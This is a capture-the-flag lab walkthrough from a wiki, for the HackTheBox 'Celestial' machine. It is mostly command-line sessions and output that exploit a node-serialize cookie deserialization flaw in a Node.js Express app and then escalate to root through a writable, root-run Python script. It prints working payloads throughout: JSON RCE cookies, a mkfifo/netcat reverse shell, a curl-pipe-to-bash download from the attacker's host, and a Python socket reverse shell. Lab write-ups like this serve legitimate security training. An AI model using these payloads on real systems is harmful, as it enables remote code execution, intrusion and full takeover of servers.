Celestial

From Luniwiki
Jump to: navigation, search

Back

Celestial01.png

Ports scan

u505@naos:~/HTB/Machines/Celestial$ sudo masscan -e tun0 -p1-65535,U:1-65535 --rate 1000 10.10.10.85

Starting masscan 1.0.5 at 2021-01-23 09:44:18 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 3000/tcp on 10.10.10.85 u505@naos:~/HTB/Machines/Celestial$ nmap -sC -sV celestial Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-23 04:44 EST Nmap scan report for celestial (10.10.10.85) Host is up (0.040s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 3000/tcp open http Node.js Express framework |_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.27 seconds


Node Express page

The initial web page only shows 404.

Celestial02.png

u505@naos:~/HTB/Machines/Celestial$ curl http://celestial:3000
<h1>404</h1>

If we query another page, it returns the text Cannot GET the page.

u505@naos:~/HTB/Machines/Celestial$ curl http://celestial:3000/u505
<!DOCTYPE html>
<html lang="en">
 <head>
 <meta charset="utf-8">
 <title>Error</title>
 </head>
 <body>
 <pre>Cannot GET /u505</pre>
 </body>
 </html>

The text of the page is 404, but the status code is 200 OK

u505@naos:~/HTB/Machines/Celestial$ curl -v http://celestial.htb:3000/
*   Trying 10.10.10.85:3000...
* Connected to celestial.htb (10.10.10.85) port 3000 (#0)
> GET / HTTP/1.1
> Host: celestial.htb:3000
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age=900; Path=/; Expires=Sat, 23 Jan 2021 10:17:33 GMT; HttpOnly
< Content-Type: text/html; charset=utf-8
< Content-Length: 12
< ETag: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"
< Date: Sat, 23 Jan 2021 10:02:33 GMT
< Connection: keep-alive
<
* Connection #0 to host celestial.htb left intact
<h1>404</h1>

Once the page is reloaded in the browser the 404 code is changed by Hey Dummy 2 + 2 is 22

Celestial03.png

Burp suite helps to find the difference.

Celestial04.png

The difference is the cookie.

Cookie

Adding the cookie to the curl request provides the same result.

u505@naos:~/HTB/Machines/Celestial$ curl -v http://celestial.htb:3000/ -b 'profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D'
*   Trying 10.10.10.85:3000...
* Connected to celestial.htb (10.10.10.85) port 3000 (#0)
> GET / HTTP/1.1
> Host: celestial.htb:3000
> User-Agent: curl/7.74.0
> Accept: */*
> Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: text/html; charset=utf-8
< Content-Length: 21
< ETag: W/"15-iqbh0nIIVq2tZl3LRUnGx4TH3xg"
< Date: Sat, 23 Jan 2021 10:10:25 GMT
< Connection: keep-alive
<
* Connection #0 to host celestial.htb left intact
Hey Dummy 2 + 2 is 22

The cookie is encoded in base 64.

u505@naos:~/HTB/Machines/Celestial$ echo -n "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==" | base64 -d
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

If we change the username, the response changes.

u505@naos:~/HTB/Machines/Celestial$ echo -n '{"username":"u505","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}' | base64 -w0
eyJ1c2VybmFtZSI6InU1MDUiLCJjb3VudHJ5IjoiSWRrIFByb2JhYmx5IFNvbWV3aGVyZSBEdW1iIiwiY2l0eSI6IkxhbWV0b3duIiwibnVtIjoiMiJ9
u505@naos:~/HTB/Machines/Celestial$ curl http://celestial.htb:3000/ -b 'profile=eyJ1c2VybmFtZSI6InU1MDUiLCJjb3VudHJ5IjoiSWRrIFByb2JhYmx5IFNvbWV3aGVyZSBEdW1iIiwiY2l0eSI6IkxhbWV0b3duIiwibnVtIjoiMiJ9'
Hey u505 2 + 2 is 22

If the value of num changes the answer changes too.

u505@naos:~/HTB/Machines/Celestial$ curl http://celestial.htb:3000/ -b "profile=` echo -n '{"username":"u505","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"3"}' | base64 -w0`"
Hey u505 3 + 3 is 33

If we change the value of num by a character, the response crashes, and the word eval appears in error message.

u505@naos:~/HTB/Machines/Celestial$ curl http://celestial.htb:3000/ -b "profile=` echo -n '{"username":"u505","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"a"}' | base64 -w0`"
<!DOCTYPE html>
<html lang="en">
 <head>
 <meta charset="utf-8">
 <title>Error</title>
 </head>
 <body>
 <pre>ReferenceError: aa is not defined<br>    at eval (eval at <anonymous> (/home/sun/server.js:13:29), <anonymous>:1:1)<br>    at /home/sun/server.js:13:16<br>    at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br>    at next (/home/sun/node_modules/express/lib/router/route.js:137:13)<br>    at Route.dispatch (/home/sun/node_modules/express/lib/router/route.js:112:3)<br>    at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br>    at /home/sun/node_modules/express/lib/router/index.js:281:22<br>    at Function.process_params (/home/sun/node_modules/express/lib/router/index.js:335:12)<br>    at next (/home/sun/node_modules/express/lib/router/index.js:275:10)<br>    at cookieParser (/home/sun/node_modules/cookie-parser/index.js:70:5)</pre>
 </body>
 </html>

Node JS serialize exploit (CVE-2017-5941)

The Node JS web server take the cookie value and deserialize the content. There is a vulnerability detected by OpSecX that explains the issue, and the example is very similar to the situation that we have.

Searchexploit

u505@naos:~/HTB/Machines/Celestial$ searchsploit serialize
-------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                      |  Path
-------------------------------------------------------------------- ---------------------------------
Node.JS - 'node-serialize' Remote Code Execution                    | linux/remote/45265.js
-------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
u505@naos:~/HTB/Machines/Celestial$ searchsploit -m 45265
  Exploit: Node.JS - 'node-serialize' Remote Code Execution
      URL: https://www.exploit-db.com/exploits/45265
     Path: /usr/share/exploitdb/exploits/linux/remote/45265.js
File Type: ASCII text, with CRLF line terminators

Copied to: /home/u505/HTB/Machines/Celestial/45265.js

The exploit example executes a ls over the root directory.

u505@naos:~/HTB/Machines/Celestial$ cat 45265.js
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

The example fails because the module node-serialize doesn't exist.

u505@naos:~/HTB/Machines/Celestial$ node 45265.js
internal/modules/cjs/loader.js:834
  throw err;
  ^

Error: Cannot find module 'node-serialize' Require stack: - /opt/HTB/Machines/Celestial/45265.js at Function.Module._resolveFilename (internal/modules/cjs/loader.js:831:15) at Function.Module._load (internal/modules/cjs/loader.js:687:27) at Module.require (internal/modules/cjs/loader.js:903:19) at require (internal/modules/cjs/helpers.js:74:18) at Object.<anonymous> (/opt/HTB/Machines/Celestial/45265.js:1:17) at Module._compile (internal/modules/cjs/loader.js:1015:30) at Object.Module._extensions..js (internal/modules/cjs/loader.js:1035:10) at Module.load (internal/modules/cjs/loader.js:879:32) at Function.Module._load (internal/modules/cjs/loader.js:724:14) at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:60:12) { code: 'MODULE_NOT_FOUND', requireStack: [ '/opt/HTB/Machines/Celestial/45265.js' ] }

node-serialize module installation.

u505@naos:~/HTB/Machines/Celestial$ npm install node-serialize

added 1 package, and audited 2 packages in 1s
1 critical severity vulnerability
Some issues need review, and may require choosing a different dependency.
Run `npm audit` for details.

The execution lists the root folder.

u505@naos:~/HTB/Machines/Celestial$ node 45265.js
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old

Code execution on target

To verify that we have code execution, the target will execute a ping to our machine.

Tcpdump to monitor the ICMP activity on our network card.

u505@naos:~/HTB/Machines/Celestial$ sudo tcpdump -i tun0 icmp
[sudo] password for u505:
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes

The payload includes the ping command.

u505@naos:~/HTB/Machines/Celestial$ cat testping
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ping -c 1 10.10.14.11', function(error, stdout, stderr) { console.log(stdout) });}()","username":"u505","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"3"}

Execution of the payload.

u505@naos:~/HTB/Machines/Celestial$ curl -b "profile=`cat testping  | base64 -w0`" http://celestial.htb:3000/
Hey u505 3 + 3 is 33

We trace the ping request in tcpdump.

u505@naos:~/HTB/Machines/Celestial$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
08:47:19.984337 IP celestial > 10.10.14.11: ICMP echo request, id 5585, seq 1, length 64
08:47:19.984366 IP 10.10.14.11 > celestial: ICMP echo reply, id 5585, seq 1, length 64

Code execution with encoded commands on target

After a few failed tries to obtain a reverse shell, I tried to encode commands in base64 to avoid interpretation of character in-side the serialization. I began with the ping (because I know it works).

u505@naos:~/HTB/Machines/Celestial$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes

We encode the ping command in base64.

u505@naos:~/HTB/Machines/Celestial$ echo -n "ping -c 1 10.10.14.11" | base64 -w 0
cGluZyAtYyAxIDEwLjEwLjE0LjEx

The serialization includes the base64 decoding.

u505@naos:~/HTB/Machines/Celestial$ cat testpingb64
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('`echo cGluZyAtYyAxIDEwLjEwLjE0LjEx | base64 -d`', function(error, stdout, stderr) { console.log(stdout) });}()","username":"u505","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"3"}

Execution.

u505@naos:~/HTB/Machines/Celestial$ curl -b "profile=`cat testpingb64  | base64 -w0`" http://celestial.htb:3000/
Hey u505 3 + 3 is 33

The ping request is received.

u505@naos:~/HTB/Machines/Celestial$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
09:20:52.706826 IP celestial > 10.10.14.11: ICMP echo request, id 5771, seq 1, length 64
09:20:52.706862 IP 10.10.14.11 > celestial: ICMP echo reply, id 5771, seq 1, length 64

Surprises with base64 encoded commands

u505@naos:~/HTB/Machines/Celestial$ rlwrap nc -lnvp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

If we execute the command locally, the listener is opened.

u505@naos:~/HTB/Machines/Celestial$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 4444 >/tmp/f
u505@naos:~/HTB/Machines/Celestial$ rlwrap nc -lnvp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.14.11.
Ncat: Connection from 10.10.14.11:42856.
exit

But if we encode it, and execute it,

u505@naos:~/HTB/Machines/Celestial$ echo -n "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 4444 >/tmp/f" | base64 -w0
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuMTEgNDQ0NCA+L3RtcC9m
u505@naos:~/HTB/Machines/Celestial$ `echo -n "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuMTEgNDQ0NCA+L3RtcC9m" | base64 -d`
rm: cannot remove '/tmp/f;mkfifo': No such file or directory
rm: cannot remove '/tmp/f;cat': No such file or directory
rm: cannot remove '/tmp/f|/bin/sh': No such file or directory
rm: cannot remove '2>&1|nc': No such file or directory
rm: cannot remove '10.10.14.11': No such file or directory
rm: cannot remove '4444': No such file or directory
rm: cannot remove '>/tmp/f': No such file or directory

The command separator ; and the pipe | are not interpreted, they are considered normal characters.

Reverse shell

After the base64 surprise, the turn around was to send a command to the target to curl a script file and executes it with bash.

u505@naos:~/HTB/Machines/Celestial$ rlwrap nc -lnvp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

We download script file from our web server and executes the out put directly.

u505@naos:~/HTB/Machines/Celestial$ cat testcurl
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('curl http://10.10.14.11/command | bash', function(error, stdout, stderr) { console.log(stdout) });}()","username":"u505","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"3"}

The script file.

u505@naos:~/HTB/Machines/Celestial$ cat web/command
rm /tmp/f
mkfifo /tmp/f
cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 4444 >/tmp/f

Start web server.

u505@naos:~/HTB/Machines/Celestial/web$ sudo python -m SimpleHTTPServer 80
[sudo] password for u505:
Serving HTTP on 0.0.0.0 port 80 ...

Call the execution by the target.

u505@naos:~/HTB/Machines/Celestial$ curl -b "profile=`cat testcurl | base64 -w0`" http://celestial.htb:3000/
Hey u505 3 + 3 is 33

The script is downloaded.

u505@naos:~/HTB/Machines/Celestial/web$ sudo python -m SimpleHTTPServer 80
[sudo] password for u505:
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.85 - - [24/Jan/2021 09:19:20] "GET /command HTTP/1.1" 200 -

The reverse shell is opened.

u505@naos:~/HTB/Machines/Celestial$ rlwrap nc -lnvp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.85.
Ncat: Connection from 10.10.10.85:52250.
/bin/sh: 0: can't access tty; job control turned off
$ whoami
sun
python -c 'import pty; pty.spawn("/bin/bash")'
sun@sun:~$

User flag

sun@sun:~$ cat Documents/user.txt
cat Documents/user.txt
<USER_FLAG>

Server.js

Now in the server, we can take a look at the program with the vulnerability

sun@sun:~$ netstat -ntlp
netstat -ntlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp6       0      0 :::3000                 :::*                    LISTEN      3854/nodejs

On the port 3000, the nodejs process is listening.

sun@sun:~$ ps -ef | grep 3854
ps -ef | grep 3854
sun       3854  3664  0 Jan23 ?        00:00:00 nodejs /home/sun/server.js
sun       8552  3854  0 09:27 ?        00:00:00 /bin/sh -c curl http://10.10.14.11/command | bash
sun       8643  8564  0 09:40 pts/17   00:00:00 grep --color=auto 3854

The source code shows how the untrusted cookie is unserialized without any sanitization.

sun@sun:~$ cat /home/sun/server.js
cat /home/sun/server.js
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())

app.get('/', function(req, res) { if (req.cookies.profile) { var str = new Buffer(req.cookies.profile, 'base64').toString(); var obj = serialize.unserialize(str); if (obj.username) { var sum = eval(obj.num + obj.num); res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum); }else{ res.send("An error occurred...invalid username type"); } }else { res.cookie('profile', "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==", { maxAge: 900000, httpOnly: true }); } res.send("<h1>404</h1>"); }); app.listen(3000);

Privileges escalation

Before any enumeration, the first ls shows me that a file owned by root is on the sun's home directory. And the file is less than 5 minutes old.

sun@sun:~$ ls -l
ls -l
total 56
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Desktop
drwxr-xr-x  2 sun  sun  4096 Mar  4  2018 Documents
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Downloads
-rw-r--r--  1 sun  sun  8980 Sep 19  2017 examples.desktop
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Music
drwxr-xr-x 47 root root 4096 Sep 19  2017 node_modules
-rw-r--r--  1 root root   21 Jan 23 05:55 output.txt
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Pictures
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Public
-rw-rw-r--  1 sun  sun   870 Sep 20  2017 server.js
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Templates
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Videos

The content on the file is a line.

sun@sun:~$ cat output.txt
cat output.txt
Script is running...

On the Document folder aside with the user flag, there is a python script.

sun@sun:~$ date
date
Sat Jan 23 05:58:29 EST 2021
sun@sun:~$ cd Documents
cd Documents
sun@sun:~/Documents$ ls -l
ls -l
total 8
-rw-rw-r-- 1 sun sun 29 Sep 21  2017 script.py
-rw-rw-r-- 1 sun sun 33 Sep 21  2017 user.txt

The script prints the output.txt content file, as root and we can modify the script.

sun@sun:~/Documents$ cat script.py
cat script.py
print "Script is running..."

We first do a simple test.

sun@sun:~/Documents$ echo 'print "u505 owns this script"' > script.py
echo 'print "u505 owns this script"' > script.py

Within 5 minutes the content of the output.txt file is updated with our senetense.

sun@sun:~$ date
date
Sat Jan 23 06:05:17 EST 2021
sun@sun:~$ cat output.txt
cat output.txt
u505 owns this script

We raise a second reverse shell

u505@naos:~/HTB/Machines/Celestial$ rlwrap nc -nlvp 4445
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4445
Ncat: Listening on 0.0.0.0:4445

Modify the script with a python reverse shell.

sun@sun:~/Documents$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > script.py
<os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > script.py
sun@sun:~/Documents$ cat script.py
cat script.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Wait until the reverse shell opens, as root.

u505@naos:~/HTB/Machines/Celestial$ rlwrap nc -nlvp 4445
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4445
Ncat: Listening on 0.0.0.0:4445
Ncat: Connection from 10.10.10.85.
Ncat: Connection from 10.10.10.85:39632.
/bin/sh: 0: can't access tty; job control turned off
python -c 'import pty; pty.spawn("/bin/bash")'
root@sun:~# whoami
whoami
root
root@sun:~# cat root.txt
cat root.txt
<ROOT_FLAG>

References

Daniel Simao 18:06, 23 January 2021 (EST)